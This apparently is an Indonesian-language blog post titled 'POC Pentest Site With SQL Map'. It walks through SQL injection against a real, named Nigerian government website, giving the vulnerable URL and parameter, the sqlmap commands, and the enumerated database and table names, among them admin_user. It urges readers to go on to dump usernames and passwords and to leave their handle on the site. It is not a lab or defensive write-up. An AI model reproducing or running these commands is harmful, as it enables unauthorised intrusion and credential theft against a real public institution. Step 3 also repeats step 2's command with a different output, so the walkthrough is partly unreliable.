Monday

POC Pentest Site With SQL Map

belajar sqli menggunakan "sqlmap"Poc Target Gov Site :
Vuln : php
Tools : Sqlmap
1. Mencari database :
[*] information_schema
[*] nass_nassdb
[*] nasscommdb
[*] nasshousedb
[*] nassmgtdb

2. Menampilkan isi tabel nass_nassdb
>sqlmap.py -u www.nass.gov.ng/mnass/about.php?id=13 -D nass_nassdb --tables
[28 tables]
+-----------------------+
| activity |
| admin_user |
| billsprogression |
| committee |
| commview |
| contact_feedback |
| hansard |
| history |
| history_log |
| home |
| jurisdiction |
| news |
| noticepaper |
| officers |
| officers_committee |
| officers_committeeOLD |
| officers_committeex |
| orderpaper |
| p_about |
| p_activity |
| p_contact_feedback |
| p_contactadd |
| p_home |
| p_news |
| p_project |
| petitions |
| sitting |
| votesofproceedings |
+-----------------------+

3. Menambilkan isi tabel nass_nassdb
>sqlmap.py -u www.nass.gov.ng/mnass/about.php?id=13 -D nass_nassdb --tables
[15 tables]
+------------------------------+
| activity |
| advert |
| announcement |
| contact_feedback |
| departments |
| gallery |
| news |
| parp_about |
| parp_about_menu |
| parp_front |
| parp_front_pic |
| parp_publications |
| parp_publications_categories |
| parp_publications_section |
| perp_user |
+------------------------------+

4. untuk mencari columns gunakan cara
>sqlmap.py -u www.nass.gov.ng/mnass/about.php?id=13 -D nama_databenya -T nama_tabelnya --columns

5. untuk dump username dan password silahkan dibaca di menu helpnya jangan manja ^_^
6. sebelum anda mencari user buka table2 yang ada terlebih dahulu kadang kala ada table tipuan :)
Nitip nama saja jika anda berhasil ;)
Good Luck.
By : BL4ckc0d1n6

POC Pentest Site With SQL Map Rating: 4.5 Diposkan Oleh: Unknown

0 komentar:

Post a Comment